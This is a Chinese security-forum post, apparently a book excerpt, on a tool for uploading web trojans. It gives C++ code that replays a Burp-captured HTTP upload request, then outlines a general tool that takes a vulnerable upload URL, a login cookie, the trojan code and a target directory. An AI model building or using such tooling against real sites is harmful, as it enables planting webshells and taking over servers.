安全矩阵

 找回密码
 立即注册
搜索
查看: 2193|回复: 0

网络安全编程:上传网页木马

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-7-13 14:11:56 | 显示全部楼层 |阅读模式
原文链接:网络安全编程:上传网页木马
上传木马的模块可以通过直接发包达到上传的效果,实现起来比较简单,代码如下:
  1. void CuploadmumaDlg::OnBnClickedButton1()
  2. {
  3.   // TODO: 在此添加控件通知处理程序代码
  4.   WSAData wsa = { 0 };
  5.   // 初始化
  6.   WSAStartup(MAKEWORD(2, 2), &wsa);
  7.   // 获取 IP 地址
  8.   DWORD dwIPAddr = 0;
  9.   m_IpAddr.GetAddress(dwIPAddr);
  10.   // 获取端口号
  11.   WORD dwPort = 0;
  12.   dwPort = GetDlgItemInt(IDC_PORT);
  13.   // 创建 SOCKET
  14.   SOCKET s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  15.   sockaddr_in sockaddr = { 0 };
  16.   sockaddr.sin_family = AF_INET;
  17.   sockaddr.sin_addr.S_un.S_addr = htonl(dwIPAddr);
  18.   sockaddr.sin_port = htons(dwPort);
  19.   // 连接服务器
  20.   int nRet = connect(s, (SOCKADDR*)&sockaddr, sizeof(SOCKADDR));
  21.   // 获取从 BURP 截取的 HTTP 的 request 包
  22.   char szText[2048] = { 0 };
  23.   GetDlgItemText(IDC_TEXT, szText, 2048);
  24.   // 发送包
  25.   nRet = send(s, szText, lstrlen(szText), 0);
  26.   closesocket(s);
  27.   WSACleanup();
  28. }
复制代码

代码的流程比较简单,主要就是完成了与Web服务器的连接,然后发送通过Burp截取的数据内容,程序界面如图1所示。

图1  发送木马数据包上传木马
该木马发送程序比较简陋,只是简单地提交了对Web服务器请求的数据包。开发一个较为通用的木马上传工具,就不能这么偷懒了。首先,需要提取出存在上传漏洞的地址,因为每个系统存在上传漏洞的地址是不相同的,因此漏洞的地址必须能够接收用户的输入。接着提取HTTP请求头部中的“Cookie”部分,因为上传木马时可能需要登录系统以后才能进行上传,但是为什么发包的时候可以,因为数据包中有COOKIE,因此必须要能让用户输入“cookie”,因为一般的上传漏洞可能是论坛、博客等系统,因此用户可以自行登录后,将cookie复制出来并粘贴到程序中。然后还有木马的内容需要用户自定义,那么程序界面上也需要留下输入木马的文本框,可以直接输入木马的代码,也可以直接让用户输入木马的目录,然后让程序从文件中把木马代码读出。有的上传漏洞能够让用户去控制上传木马后所在的目录,那么还要给用户一个可以设置上传位置的输入框。



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 08:46 , Processed in 0.012553 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表